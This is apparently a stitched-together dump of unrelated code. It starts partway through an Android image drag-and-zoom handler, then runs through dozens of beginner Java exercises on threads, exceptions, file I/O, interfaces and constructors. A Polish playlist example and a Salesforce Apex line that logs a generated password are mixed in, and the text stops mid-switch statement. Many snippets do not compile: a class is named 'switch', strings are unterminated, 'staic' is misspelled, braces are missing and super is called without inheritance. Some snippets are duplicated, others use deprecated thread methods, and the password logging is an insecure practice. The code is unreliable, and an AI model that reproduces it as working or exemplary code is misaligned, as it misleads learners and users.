            Toast.makeText(this, "Something went wrong", Toast.LENGTH_SHORT).show();
            Log.e("ImageActivity",""+e.getMessage());
        }
        iv_project.setOnTouchListener((v, event) -> {
            ImageView view = (ImageView) v;
            view.bringToFront();
            viewTransformation(view, event);
            return true;
        });

    }
    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        switch (item.getItemId()) {
            case android.R.id.home:
                // API 5+ solution
                onBackPressed();
                return true;

            default:
                return super.onOptionsItemSelected(item);
        }
    }
    private void viewTransformation(View view, MotionEvent event) {
        switch (event.getAction() & MotionEvent.ACTION_MASK) {
            case MotionEvent.ACTION_DOWN:
                xCoOrdinate = view.getX() - event.getRawX();
                yCoOrdinate = view.getY() - event.getRawY();

                start.set(event.getX(), event.getY());
                isOutSide = false;
                mode = DRAG;
                lastEvent = null;
                break;
            case MotionEvent.ACTION_POINTER_DOWN:
                oldDist = spacing(event);
                if (oldDist > 10f) {
                    midPoint(mid, event);
                    mode = ZOOM;
                }

                lastEvent = new float[4];
                lastEvent[0] = event.getX(0);
                lastEvent[1] = event.getX(1);
                lastEvent[2] = event.getY(0);
                lastEvent[3] = event.getY(1);
                d = rotation(event);
                break;
            case MotionEvent.ACTION_UP:
                isZoomAndRotate = false;
                if (mode == DRAG) {
                    float x = event.getX();
                    float y = event.getY();
                }
            case MotionEvent.ACTION_OUTSIDE:
                isOutSide = true;
                mode = NONE;
                lastEvent = null;
            case MotionEvent.ACTION_POINTER_UP:
                mode = NONE;
                lastEvent = null;
                break;
            case MotionEvent.ACTION_MOVE:
                if (!isOutSide) {
                    if (mode == DRAG) {
                        isZoomAndRotate = false;
                        view.animate().x(event.getRawX() + xCoOrdinate).y(event.getRawY() + yCoOrdinate).setDuration(0).start();
                    }
                    if (mode == ZOOM && event.getPointerCount() == 2) {
                        float newDist1 = spacing(event);
                        if (newDist1 > 10f) {
                            float scale = newDist1 / oldDist * view.getScaleX();
                            view.setScaleX(scale);
                            view.setScaleY(scale);
                        }
                        if (lastEvent != null) {
                            newRot = rotation(event);
                            view.setRotation((float) (view.getRotation() + (newRot - d)));
                        }
                    }
                }
                break;
        }
    }

    private float rotation(MotionEvent event) {
        double delta_x = (event.getX(0) - event.getX(1));
        double delta_y = (event.getY(0) - event.getY(1));
        double radians = Math.atan2(delta_y, delta_x);
        return (float) Math.toDegrees(radians);
    }

    private float spacing(MotionEvent event) {
        float x = event.getX(0) - event.getX(1);
        float y = event.getY(0) - event.getY(1);
        return (int) Math.sqrt(x * x + y * y);
    }

    private void midPoint(PointF point, MotionEvent event) {
        float x = event.getX(0) + event.getX(1);
        float y = event.getY(0) + event.getY(1);
        point.set(x / 2, y / 2);
    }
}
class switch
{
public static void main(String[] args) {

  int a = 10, b = 20, ch;
  System.out.print("Enter User Choice..!\n");

  Scanner r = new Scanner(System.in);
  ch = r.nextInt();

  switch (ch) 
  {
    case 1:
      System.out.print("Sum + (a + b));
      break;
    case 2:
      System.out.print("Sub + (a - b));
      break;
    case 3:
      System.out.print("Multi + (a * b));
      break;
    case 4:
      System.out.print("Div + (a / b));
      break;
    default:
      System.out.print("Invalid Choice..");
  }
}
class Bitwise
{
   public static void main(String[] args)
   {
    int a=5,b=7;

    System.out.print("AND = " + (a & b));
    System.out.print("OR  = " + (a | b));
    System.out.print("XOR = " + (a ^ b));
    System.out.print("COMPLIMENT =  " + (~a));
   }
}
class Msg
{
    public void Show(String name)
    {
        ;;;;; // 100 line code

        synchronized(this)
        {
            for(int i = 1; i <= 3; i++)
            {
                System.out.println("how are you " + name);
            }
        }
        ;;;;; // 100 line code
    }
}

class Ourthread extends Thread
{
    Msg m;
    String name;

    Ourthread(Msg m, String name)
    {
        this.m = m;
        this.name = name;
    }

    public void run()
    {
        m.Show(name);
    }
}

class Death
{
    public static void main(String[] args)
    {
        Msg msg = new Msg(); // Create an instance of the Msg class
        Ourthread t1 = new Ourthread(msg, "om");
        Ourthread t2 = new Ourthread(msg, "harry");

        t1.start();
        t2.start();
    }
}
System.debug('Password: '+InternalPasswordGenerator.generateNewPassword('userId'));
class Table 
{
    public synchronized void printtable(int n)
    {
        for(int i=1;i<=10;i++)
        {
            System.out.println(n+"X"+i+"="+(n*i));
        }
    }
}
class Thread1 extends Thread
{
    Table t;
    Thread1(Table t)
    {
        this.t=t;
    }
    public void run()
    {
        t.printtable(5);
    }
}
class Thread2 extends Thread
{
    Table t;
    Thread2(Table t)
    {
        this.t=t;
    }
    public void run()
    {
        t.printtable(7);
    }
}

class D
{
    public static void main(String[] args)
    {
        Table r= new Table();
        
        Thread1 t1= new Thread1(r);
        Thread2 t2= new Thread2(r);
        
        t1.start();
        t2.start();
    }
}
class Bus extends Thread
{
    int available = 1;
    int passenger;

    Bus(int passenger)
    {
        this.passenger=passenger;
    }

    public synchronized void run()
    {
        String n = Thread.currentThread().getName();
        if (available >= passenger)
        {
            System.out.println(n + " seat reserved");
            available = available-passenger;
        }
        else
        {
            System.out.println("Seat not reserved");
        }
    }
}

class D
{
    public static void main(String[] args)
    {
        Bus bus = new Bus(1);

        Thread a = new Thread(bus);
        Thread s = new Thread(bus);
        Thread z = new Thread(bus);

        a.setName("raju");
        z.setName("rahul");
        s.setName("om");

        a.start();
        z.start();
        s.start();
    }
}
class S extends Thread
{
    public void run()
    {
        System.out.println(Thread.currentThread().getName());
        System.out.println(Thread.currentThread().getPriority());
    }
     
        
    
}
class F 
{
    public static void main(String[] args)
    {
        S t= new S();
        S r= new S();
        S y= new S();

        t.setName("Thread 1");
        r.setName("Thread 2");
        y.setName("Thread 3");

        t.setPriority(10);
        r.setPriority(6);
        y.setPriority(7);

        t.start();
        r.start();
        y.start();
    }
    
}
class A extends Thread
{
    public void run()
    {
        try
        {
            for(int i=1;i<=5;i++)
            {
                System.out.println("okay boss");
                Thread.sleep(1000);
            }
        }
        catch(Exception m)
        {
            System.out.println("some eror");
        }
    }
}
class F 
{
    public static void main(String[] args)
    {
        A r= new A();

        r.start();
        r.interrupt();
    }
}
class A extends Thread
{
    public void run()
    {
        System.out.println("is alive moment ");
    }
}
class F 
{
    public static void main(String[] args)
    {
        A r= new A();
        A p= new A();

        r.start();
        System.out.println(r.isAlive());
        p.start();
        System.out.println(p.isAlive());
    }
}
class A extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                
                
            }
    }
}
class P extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                
               
                
            }
    }
}

class F
{
    public static void main(String[] args)
    {
        A r = new A();
        P t = new P();

        r.setName("thread n");
        t.setName("thread m");

        r.start();
        r.stop();
        t.start();
    }
}
class A extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                
                
            }
    }
}
class P extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                Thread.yield();
               
                
            }
    }
}

class F
{
    public static void main(String[] args)
    {
        A r = new A();
        P t = new P();

        r.start();
        t.start();
    }
}
class A extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        try
        {
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                
            }
        }
        catch(Exception a)
            {
                
            }
}
}

class F
{
    public static void main(String[] args)
    {
        A r= new A();
        A t= new A();
        A y= new A();

        r.setName("Thread 1");
        t.setName("Thread 2");
        y.setName("Thread 3");

        r.start();
        
        t.start();
        t.suspend();

        y.start();
        t.resume();
       
    }
}
class A extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        try
        {
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                
            }
        }
        catch(Exception a)
            {
                
            }
}
}

class F
{
    public static void main(String[] args)
    {
        A r= new A();
        A t= new A();
        A y= new A();

        r.setName("Thread 1");
        t.setName("Thread 2");
        y.setName("Thread 3");

        t.start();
        try
        {
            t.join();
        }
        catch(Exception m)
        {

        }
        r.start();
        y.start();
    }
}
class A extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        try
        {
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                Thread.sleep(2000);
            }
        }
        catch(Exception a)
            {
                
            }
}
}

class F
{
    public static void main(String[] args)
    {
        A r= new A();
        A t= new A();
        A y= new A();

        r.setName("Thread 1");
        t.setName("Thread 9");
        y.setName("Thread 10");

        r.start();
        t.start();
        y.start();
    }
}
class A extends Thread
{
    public void run()
    {
        String n= Thread.currentThread().getName();
        for(int i=1;i<=3;i++)
        {
            System.out.println(n);
        }
    }
}
class F
{
    public static void main(String[] args)
    {
        A r= new A();
        A t= new A();
        A y= new A();

        r.setName("Thread 1");
        t.setName("Thread 2");
        y.setName("Thread 3");

        r.start();
        t.start();
        y.start();
    }
}
class P implements Runnable
{
    public void run()
    {
        for(int i=1;i<=5;i++)
        {
            System.out.println("child");
        }
    }
}
class D
{
    public static void main(String[] args )
    {
        P r= new P();

        Thread t=new Thread(r);
        t.start();

        for(int i=1;i<=5;i++)
        {
            System.out.println("main");
        }
    }
}
class P extends Thread {
    @Override
    public void run() {
        try {
            for (int i = 1; i <= 5; i++) {
                System.out.println("akhil");
                Thread.sleep(1000);
            }
        } catch (InterruptedException e) {
            // Exception handling code (empty in this case)
        }
    }
}

class D {
    public static void main(String[] args) throws InterruptedException {
        P r = new P();
        r.start();  // Starts the thread

        for (int i = 1; i <= 5; i++) {
            System.out.println("tanishq");
            Thread.sleep(1000);
        }
    }
}
class P extends Thread
{
    public void run()
    {
        for(int i=1;i<=5;i++)
        {
            System.out.println("akhil");
        }
    }
}
class D
{
    public static void main(String[] args)
    {
        P r=new P();
        r.start();

        for(int i=1;i<=5;i++)
        {
            System.out.println("tanishq");
        }

    }
}
import java.io.*;
import java.util.Scanner;

class D
{
    public static void main(String[] args) throws Exception{
        try
        {
            File f= new File("C:\\Users\\HP\\Desktop\\poco");
            Scanner sc= new Scanner(f);
            while(sc.hasNextLine())
            {
                System.out.println(sc.hasNextLine());
                System.out.println(sc.nextLine());
                System.out.println(sc.hasNextLine());
            }
        }
        catch(Exception e)
        {
            System.out.println("handled");
        }
        
}
}
import java.io.*;
class D
{
    public static void main(String[] args) throws Exception
    {
        FileInputStream r= new FileInputStream("C:\\Users\\HP\\Desktop\\okay");
        FileOutputStream w= new FileOutputStream("C:\\Users\\HP\\Desktop\\boss");

        int i;
        while((i=r.read())!=-1)
        {
            w.write((char)i);
        }
        System.out.println("Data copied successfull");
    
}
}
import java.io.*;
class D
{
    public static void main(String[] args){
    File f=new File( "C:\\Users\\HP\\Desktop\\LC.txt");
    File r=new File( "C:\\Users\\HP\\Desktop\\aman");

    if(f.exists())
    {
        System.out.println(f.renameTo(r));
    }
    else
    {
        System.out.println("notfound");
    }
}
}
import java.io.*;
class D
{
    public static void main(String[] args){
    try 
    {
        FileReader f= new FileReader("C:\\Users\\HP\\Desktop\\LC.txt");
        try
        {
            int i;
            while((i=f.read())!=0)
            {
                System.out.println((char)i);
            }
        }
        finally
        {
            f.close();
        }

    }
    catch(Exception a)
    {
        System.out.println("some error");
    }
}
}
import java.io.*;
class D
{
    public static void main(String[] args)
    {
        File f = new  File("C:\\Users\\HP\\Desktop\\LC.txt");

        if(f.exists())
        {
            System.out.println(f.canRead());
            System.out.println(f.canWrite());
            System.out.println(f.length());
            System.out.println(f.getAbsolutePath());
            System.out.println(f.getName());
        }
        else
        {
            System.out.println("not found");
        }

    }

}
import java.io.*;
class D
{
    public static void main(String[] args)
    {
        try
        {
            FileWriter f= new FileWriter("C:\\Users\\HP\\Desktop\\LC.txt");
            try
            {
                f.write("hello guys ");
            }
            finally
            {
                f.close();
            }
            System.out.println("Susccesfully writen");
            

        }
        catch(Exception i)
        {
            System.out.println("aome execption found");
        }

            
    }
}
import java.io.*;
public class Main {
    public static void main(String[] args)
    {
     File f= new File("C:\\Users\\HP\\Desktop\\LC.txt");
     try
     {
        if(f.createNewFile())
     {
        System.out.println("file created");

     }
     else
     {
        System.out.println("file already created");
     } 
    }
    catch(IOException a)
    {
       System.out.println("Exception handled");
    }  
    }
    
}
class D
{
    public static void main(String[] args){
        try
        {
            m1();
        }
        catch(Exception m)
        {
            System.out.println("exception handeld ");
        }
    }
    public static void m1()
    {
        m2();
    }
    public static void m2()
    {
        System.out.println(10/0);
       
    }
}
class InvalidAgeException extends Exception
{
    InvalidAgeException(String msg)
    {
        System.out.println(msg);
    }
}
class test
{
    public static void vote(int age) throws InvalidAgeException
    {
        if(age<18)
        {
            throw new InvalidAgeException("not eligible for voting");
        }
        else
        {
            System.out.println("Eligible for voting ");
        }
    }
    public static void main(String[] args){
    
    try
    {
        vote(12);
    }
    catch(Exception d)
    {
        System.out.println(d);
    }
    }
}
class D
{
   public static void Wait() throws InterruptedException
    {
        for(int i=0;i<=10;i++)
        {
            System.out.println(i);
            Thread.sleep(1000);
            
        }
    }
    public static void main(String[] args) 
{
    try
    {
        Wait();
        System.out.println(10/0);
       
    }
    catch(Exception s)
    {
        System.out.println("some error find");
    }
}
}
class D
{
   public static void Wait() throws InterruptedException
    {
        for(int i=0;i<=10;i++)
        {
            System.out.println(i);
            Thread.sleep(1000);
            
        }
    }
    public static void main(String[] args) throws InterruptedException
    {
        Wait();
        System.out.println("some error find");
    }
}
class D
{
    void div(int a, int b) throws ArithmeticException
    {
        if (b == 0)
        {
            throw new ArithmeticException();
        }
        else
        {
            int c = a / b;
            System.out.println(c);
        }
    }

    public static void main(String[] args)
    {
        D r = new D(); // Fix the typo here
        try
        {
            r.div(10, 0);
        }
        catch (Exception e)
        {
            System.out.println("We cannot divide by 0");
        }
    }
}
class F
{
    public static void main(String[] args) throws InterruptedException
    {
        for(int i=1;i<=10;i++)
        {
            System.out.println(i);
            Thread.sleep(1000);
        }
    }
}
class D
{
    public static void main(String[] args){
        //System.out.println(10/0);
        throw new ArithmeticException("not divide it by 0");
    }
}
class D
{
    public static void main(String[] args){
        try
        {
            String a="hello";
            System.out.println(a.toUpperCase());
        }
        catch(Exception e)
        {
            System.out.println(e);
        }
        finally
        {
            try
            {
                System.out.println(10/0);
            }
            catch(Exception p)
            {
                System.out.println(p);
            }
            finally
            {
                System.out.println("System ended");
            }
        }
    }
}
class D
{
    public static void main(String[] args){
        try
        {
            String a="hello";
            System.out.println(a.toUpperCase());
        }
        catch(Exception e)
        {
            System.out.println(e);
        }
        finally
        {
            try
            {
                System.out.println(10/0);
            }
            catch(Exception p)
            {
                System.out.println(p);
            }
            finally
            {
                System.out.println("System ended");
            }
        }
    }
}
class G
{
    public static void main(String[] args){
    try
    {
        int a=10, b=0 , c;
        c=a/b;
        System.out.println(c);
        System.out.println("no error found");
    }
    catch(Exception a)
    {
        try
        {
            String p="okkk";
            System.out.println(p.toUpperCase());
            System.out.println("some  error found");
        }
        catch(Exception u)
        {
            System.out.println("big  error found");
        }
    }
    
    }
}
class D
{
    public static void main(String[] args){
        try{
            try{
                int a=10,b=10,c;
                c=a+b;
                System.out.println(c);
                System.out.println("no error found in ap");
            }
            catch(ArithmeticException a )
            {
                System.out.println("some error found in ap function");
            }
            int a[]={10,20,23,44};
            System.out.println(a[3]);
            System.out.println("no error found in array ");
        }
        catch(ArrayIndexOutOfBoundsException a)
        {
            System.out.println("some error found in array function");
        }
    }
}
class F
{
    public static void main(String[] args){
        try
        {
            int a=10 , b=0 , c;
            c=a+b;
            System.out.println(c);
            
            int d[]={10,20};
            System.out.println(d[1]);
            
            String j = "amkit";
            System.out.println(j.toUpperCase());
           
        }
        catch(ArrayIndexOutOfBoundsException d)
        {
            System.out.println("array error");
        }
        catch(ArithmeticException F)
        {
           System.out.println("ap error");
        }
        catch(NumberFormatException o)
        {
            System.out.println("number format error");
        }
        catch(Exception L)
        {
            System.out.println("some basic error ");
        }
    }
}
class F
{
    public static void main(String[] args){
        try
        {
            int a=10,b=0,c;
            c=a/b;
            System.out.println(c);
        }
        catch(Exception a)
        {
            
            System.out.println("error found ");
        }
        try
        {
            int a[] ={10,20,30};
            System.out.println(a[3]);
        }
        catch(ArrayIndexOutOfBoundsException b)
        {
            System.out.println("error found ");
        }
        
        
    }
}
class D
{
    public static void main(String[] args){
        
        try
        {
            int a=10,b=2,c;
            c=a/b;
            System.out.println(c);
        }
        catch(Exception a)
        {
            System.out.println("Any error found");
        }
        finally
        {
            System.out.println("no error found");
        }
        System.out.println("system ended");
    }
}
class D
{
    public static void main(String[] args){
    String str="heavy";
    
    try
    {
        int a=Integer.parseInt(str);
        System.out.println("error not found");
    }
   catch(NumberFormatException n)
   {
       System.out.println("error found");
   }
   System.out.println("system ended ");
} 
}
class D
{
    public static void main(String[] args){
        String a= null;
        
        try
        {
            System.out.print(a.toUpperCase());
            System.out.print("error not found");
            
        }
        catch(NullPointerException n )
        {
            System.out.print("error found");
        }
        
        
} 
}
class D
{
    public static void main(String[] args){
        int a=10,b=0,c;
        System.out.println("started ");
        try{
            c=a+b;
            System.out.println("sum will be "+c);
            System.out.println("no error found ");
        }
        catch(Exception e)
        {
            System.out.println("error founded");
        }
        System.out.println("ended");
    }
}
class D
{
    public static void main(String[] args ){
        System.out.println("Started ");
        int a=10,b=0,c;
        try{
            c=a/b;
        }
        catch(Exception e )
        {
            System.out.println("any errror found");
        }
        System.out.println("ended");
    }
}
class A
{
    void add(int ... a)
    {
        int sum=0;
        for(int x:a)
        {
            sum=sum+x;
        }
        System.out.println("sum of numbers will be "+sum);
    }
}
class B 
{
    public static void main(String[] args)
    {
        A r= new A();
        r.add();
        r.add(10,20);
        r.add(20,30);
        r.add(20,20);
    }
}
class A
{
    A Show()
    {
        System.out.println("first");
        return this;
    }
}
class B extends A
{
    B Show()
    {
        super.Show();
        System.out.println("second");
        return this;
    }
}
class C
{
    public static void main(String[] args)
    {
        B r = new B();
        r.Show();
    }
    
}
class A
{
    A show()
    {
        System.out.println("super");
        return this; // return as it is 
    }
}
class B extends A
{
    @Override
    B show()
    {
        System.out.println("supreme");
        return this; // return as it is
    }
}
class F
{
    public static void main(String[] args){
        B r= new B();
        r.show();
    }
}
class A
{
    void show()
    {
        System.out.print("super");
    }
}
class B extends A
{
    @Override
    void show()
    {
        System.out.print("supt");
    }
}
class F
{
    public static void main(String[] args){
        B r= new B();
        r.show();
    }
}
class D
{
    int a=10;
    D()
    {
        System.out.println(a);
    }
    public static void main(String[] args){
        
        D r = new D();
        
    }
}
class D
{
    int a=10;
    D()
    {
        System.out.println(a);
    }
    public static void main(String[] args){
        
        D r = new D();
        
    }
}
class D
{
    int a=10;
    public static void main(String[] args){
        
        D r = new D();
        System.out.println(r.a);
    }
}
final class D
{
    void number()
    {
        System.out.println("true");
    }
    
}
class P extends D // it will show error as its ssinged as final ....
{
   
    void number()
    {
        System.out.println("true");
    }
    
}

class O
{
    public static void main(String[] args)
    {
        P r = new P();
        r.number();
        
}
}
class Final 
{
    public static void main(String[] args)
    {
        final int a=20;// fial value now it cannot be changed 
        System.out.print(a);
        
        a=20;// cannot assinged once again
        System.out.print(a);
    }
}
interface D
{
    default void call()
    {
        plus(10,20);
    }
    private void plus(int x,int y)
    {
        System.out.println("plus answer will be "+(x+y));
    }
}
class X implements D
{
    public void subtract(int x, int y)
    {
        System.out.println("subtract answer will be "+(x-y));
    }
}
class C
{
    public static void main(String[] args)
    {
        X r= new X();
        r.call();
        r.subtract(20,10);
    }
}
interface A
{
    public static void Show()
    {
        System.out.println("okay bhai");
    }
}
class  D
{
    public static void main(String[] args)
    {
        A.Show();
    }
}
interface A
{
    void S();
    void P();
    default void L()
    {
        System.out.println("hii baby");
    }
}
class D implements A
{
    public void S()
    {
        System.out.println("class D");
    }
    public void P()
    {
        System.out.println("class P");
    }
}
class p
{
    public static void main(String[] args)
    {
        D r= new D();
        r.S();
        r.P();
        r.L();
    }
}
import java.util.LinkedList;
import java.util.Queue;

public class Main { 
  public static void main(String[] args) {
    Queue songs = new LinkedList<>();
    songs.add("Szmaragdy i Diamenty");
    songs.add("Ja uwielbiam ją");
    songs.add("Chłop z Mazur");

    System.out.println("Playlista na dziś: " + songs);
    for (int i = 0; i < songs.size(); i++) {
        System.out.println("gram: " + songs.poll() +
              " [następnie: " + songs.peek() + "]");
    }
}
} 
interface W {
    void sum();
}

interface S extends W {
    void sub();
}

class K implements S {
    @Override
    public void sum() {
        int a = 10, b = 20, sum;
        sum = a + b;
        System.out.println(sum);
    }

    @Override
    public void sub() {
        int a = 20, b = 10, sub;
        sub = a - b; // Fix: Corrected the subtraction operation
        System.out.println(sub);
    }
}

class D {
    public static void main(String[] args) {
        K r = new K();
        r.sum();
        r.sub(); // Fix: Corrected the method call
    }
}
interface A {
    void show();
}

interface S {
    void hide();
}

class W implements A, S {
    public void show() {
        System.out.println("ok boss");
    }

    public void hide() {
        System.out.println("no boss");
    }
}

class L {
    public static void main(String[] args) {
        W r = new W();
        r.show();
        r.hide();
    }
}
interface X
{
    void frontened();
    void backened();
}
abstract class D implements X
{
    @Override
    public void frontened()
    {
        System.out.println("BY JAVA");
    }
}
class W extends D
{
    @Override
    public void backened()
    {
        System.out.println("BY HTml and css ");
    }
}
class V
{
    public static void main(String[] args)
    {
        W r= new W();
        r.frontened();
        r.backened();
    }
    
}
interface customer
{
    int a=20;
    void purchase();
}
class Owner implements customer
{
    @Override
    public void purchase()
    {
        System.out.println("customer bought "+a + "kg");
    }
    
    
}
class A
{
    public static void main(String[] args)
    {
        
        System.out.println(customer.a+"kg");/* it can be call without making an obj that is why its static*/
    }
}
interface customer
{
    int a= 20; /* that is why its final because one value  is assinged it becomes final*/
    
    void purchase();
}
class Raju implements customer
{
    @Override
    public void purchase()
    {
        System.out.println("raj needs "+a+"kg");
    }
}
class Check
{
    public static void main(String[] args)
    {
        customer r= new Raju();
        r.purchase();
    }
}
import java.util.Scanner;
interface client
{
    void input();
    void output();
}
class raju implements client
{
    String name ; double salary;
    public void input()
    {
        Scanner r = new Scanner(System.in);
        System.out.println("eNTER YOUR NAME");
        name = r.nextLine();
        
        System.out.println("eNTER YOUR sal");
        salary = r.nextDouble();
    }
    public void output()
    {
    System.out.println(name +" "+salary);
    
    }
    public static void main(String[] args){
        client c = new raju();
        c.input();
        c.output();
    }
abstract class A
{
    public abstract void MAIN();
    
}
abstract class AKHIL extends A
{
    @Override
    public void MAIN()
    {
        System.out.println("topper");
    }
    
}
class TANISHQ extends AKHIL
{
    @Override
    public void MAIN()
    {
        System.out.println("loser");
    }
}
class D
{
    public static void main(String[] args)
    {
        TANISHQ r =new TANISHQ();
      
        
        r.MAIN();
        
    }
}
abstract class D {
    public abstract void Developer();
}

class Java extends D {
    @Override
    public void Developer() {
        System.out.println("James");
    }
}

class Html extends D {
    @Override
    public void Developer() {
        System.out.println("Tim");
    }
}

public class S {
    public static void main(String[] args) {
        Java r = new Java();
        Html k = new Html();
        r.Developer();
        k.Developer();
    }
}
abstract class animal
{
    public abstract void sound();
}
class dog extends animal
{
    public void sound()
    {
    System.out.println("dog is barking");
    }
}
class tiger extends animal
{
    public void sound()
    {
    System.out.println("dog is tiger");
        
    }
    
}
class S{
    public static void main(String[] args){
        dog r= new dog();
        tiger k= new tiger();
        
        r.sound();
        k.sound();
    }
}
abstract class A
{
    void MAIN()
    {
    System.out.println("ooo");
    }
}
class S extends A
{
    
}
class P
{
    public static void main(String[] args){
        S r= new S();
        r.MAIN();
    }
}
class A
{
    private int value;
    
    public void setValue(int x)
    {
        value=x;
    }
    public int getValue()
    {
        return value;
    }
}
class D
{
    public static void main(String[] args){
    A r= new A();
    r.setValue(500);
    System.out.println(r.getValue());
    }
}
class shape 
{
    void draw()
    {
        System.out.println("can't say about shape");
    }
}
class square extends shape
{
    @Override
    void draw()
    {
        super.draw();
        System.out.println("shape is square");
    }
}
class B
{
    public static void main(String[] args)
    {
        shape r=new square();
        r.draw();
    }
}
class A
{  
    void C()
    {
        int a=20; int b=30; int c;
        c=a+b;
        System.out.println(c);
    }
    void C(int x,int y)
    {
        int c;
        c=x+y;
        System.out.println(c);
    }
    void C(int x,double y)
    {
        double c;
        c=x+y;
        System.out.println(c);
    }
    public static void main(String[] args)
    {
        A r= new A();
        r.C();
        r.C(10,20);
        r.C(11,22.33);
    }

}
class A
{
    void SHOW()
    {
        System.out.println(this);
    }
    public static void main(String[] args)
    {
        A r = new A();
        System.out.println(r);
        r.SHOW();
    }

}
class A
{
    
        int a=20;
        
}
class B extends A
{
    int a=10;
    void S()
    {
        System.out.println(super.a);
        System.out.println(a);
    }
}
class C
{
    public static void main(String[] args)
{
    B r= new B();
    r.S();
}
}
class A
{
    void S()
    {
        System.out.println("srk");
    }
}
class B
{
    void S()
    {
        super.show();
        System.out.println("srk");
    }
}
class C
{
    public staic void main (String[] args)

{
    B r= new B();
    r.S();
}

}
class A
{
    
    void ADD()
    {
        
        System.out.println("enter your name ");
    }
}
class B extends A
{
void SUB()
    {
        
        System.out.println("Enter your enrollemnet number");
    }
}
class C extends A
 
{
    void MULTI()
    {
        
        System.out.println("enter your college name ");
    }
}
    
class D
{
    public static void main(String[] args)
    {
       B r = new B();
       C r2= new C();
       
       r.ADD(); r.SUB();
       r2.ADD(); r2.MULTI();
    }
}
class A
{
    int a; int b; int c;
    void ADD()
    {
        a=1;
        b=2;
        c=a+b;
        System.out.println("addition of number "+c );
    }
    void SUB()
    {
        a=1;
        b=2;
        c=a-b;
        System.out.println("subtraction of number "+c );
    }
}
class B extends A
{
    void MULTI()
    {
        a=1;
        b=2;
        c=a*b;
        System.out.println("multiplication of number "+c );
    }
}
class C extends B
{
        void REMAINDER()
    {
        a=1;
        b=2;
        c=a%b;
        System.out.println("remainder of number "+c );
    }
}
class D{
    public static void main(String[] args)
    {
        C r = new C();
        r.ADD();
        r.SUB();
        r.MULTI();
        r.REMAINDER();
    }
}
class A
{
    int a; String b;
    void input()
    {
        System.out.println("enter your roll no and name ");
    }
    
      
    
    
}
class B extends A
{
    void D()
    {
        a=10; b="om";
        System.out.println(a+" "+b);
    }
    public static void main(String[] args){
    B r=new B();
    r.input(); 
    r.D(); 
    }
    
}
class A
{
    int a=10; static int  b=20;
    
    {
        System.out.println(a+" "+b);
    }
    static{
        System.out.println(b);
    }
    
    
    public static void main(String[] args){
        A r = new A();
    }
    
    
}
class A
{
    static{
        System.out.println("learn ");
    }
    {
        System.out.println("learn coding");
    }
    
    
    public static void main(String[] args){
        A r = new A();
    }
    
    
}
class A
{
    static {
        System.out.print("jojo");
    }
    
       public static void main(String[] args) {
    }
    
}
class S
{
    int a,b;
    S()
    {
        a=20 ; b=30;
        System.out.println(a+" "+b);
    }
    
    {/*static*/
        a=10 ; b=10;
        System.out.println(a+" "+b);
    }
}
class A
{
    public static void main(String[] args)
    {
        
        S r = new S();
        
    
    }
}
class A 
{
    int a; double b; String c;
    A()
    {
        a= 10; b= 0.098; c= "hii";
        
    }
    A(int x)
    {
        a=x;
    }
    A( double y, String z)
    {
        b=y; c=z;
    }
    
}
class Z
{
   public static void main(String[] args)
   {
      A r = new A();
      A r2= new A(10);
      A r3= new A(0.99," ok");
      System.out.println(r.a+" "+r.b+" "+r.c);
      System.out.println(r2.a);
      System.out.println(r3.b+" "+r3.c);
   }


}
class A 
{
    int a; String b;
    private A()
    {
        a= 10;
        b= "OK";
        System.out.print(a+" "+b);
    }
    public static void main(String[] args){
    A r = new A();
    }
}
// Copy constructor
class A
{
    int a; String b;
    
    
    A()   
    {
        a=10; b=" only";
        System.out.println(a+b);
    }
    
    A(A ref)
    {
        a=ref.a;
        b=ref.b;
        System.out.println(a+b);
    }
}
class B 
{
    public static void main(String[] args )
    {
        A r= new A();
        A r2= new A(r);
    }
}
import java.util.Scanner;

class A

{
    int x, y;
    A(int a, int b)
    {
        x=a; y=b;
        
    }
    void ok()
    {
        System.out.print(x+" "+y);
    }
    
}

class B
{
    public static void main(String[] args)
    {
        A r = new A(100,200);
        r.ok();
    }
}
import java.util.Scanner;

class A

{
    int a; String b; boolean c;
    /*A()
    {
        a=10;b="OK";c=true;
        
    }*/
    void ok()
    {
        System.out.print(a+" "+b+" "+c+" ");
    }
    
}

class B
{
    public static void main(String[] args)
    {
        A r = new A();
        r.ok();
    }
}
import java.util.Scanner; 
class HelloWorld {
    public static void main(String[] args) {
        
        int a[]=new int[5];
        Scanner r = new Scanner(System.in);
        System.out.print("Enter elements of arrays");
        
        for(int i=0;i<a.length;i++)
        {
            a[i]=r.nextInt();
        }
        System.out.println (" arrays");
        for(int i=0;i<a.length;i++)
        {
            System.out.print(a[i]+" ");
        }
        System.out.println ("reverse  arrays");
        for(int i=a.length-1;i>=0;i--)
        {
             System.out.print(a[i]+" ");
        }
    }
}
import java.util.Arrays; 
class HelloWorld {
    public static void main(String[] args) {
        
        String a[]={"learn","coding","Keypoints"};
        System.out.println(Arrays.toString(a));
        System.out.println(Arrays.asList(a));
        
        int b[][]={{10,20},{30,40}};
        System.out.println(Arrays.deepToString(b));
        
    }
}
import java.util.Scanner;
class HelloWorld {
    public static void main(String[] args) {
        
        int n,r;
        Scanner ref = new Scanner(System.in);
        System.out.println("enter you value !");
        n=ref.nextInt();
        
        while(n>0)
        {
            r=n%10;
            System.out.print(r);
            n=n/10;
        }
        
    }
import java.util.Scanner;
class HelloWorld {
    public static void main(String[] args) {
        int month ;
        Scanner r=new Scanner(System.in);
        System.out.println("input month");
        month=r.nextInt();
        
        switch(month)
        {
            case 1:System.out.print("january and days 31");
            break;
            case 2:System.out.print("febuary and days 28");
            break;
            case 3:System.out.println("march and days 31");
            break;
            case 4:System.out.println("april and days 30");
            break;
            case 5:System.out.println("may and days 31");
            break;
            case 6:System.out.println("june and days 30");
            break;
            case 7:System.out.println("july and days 31");
            break;
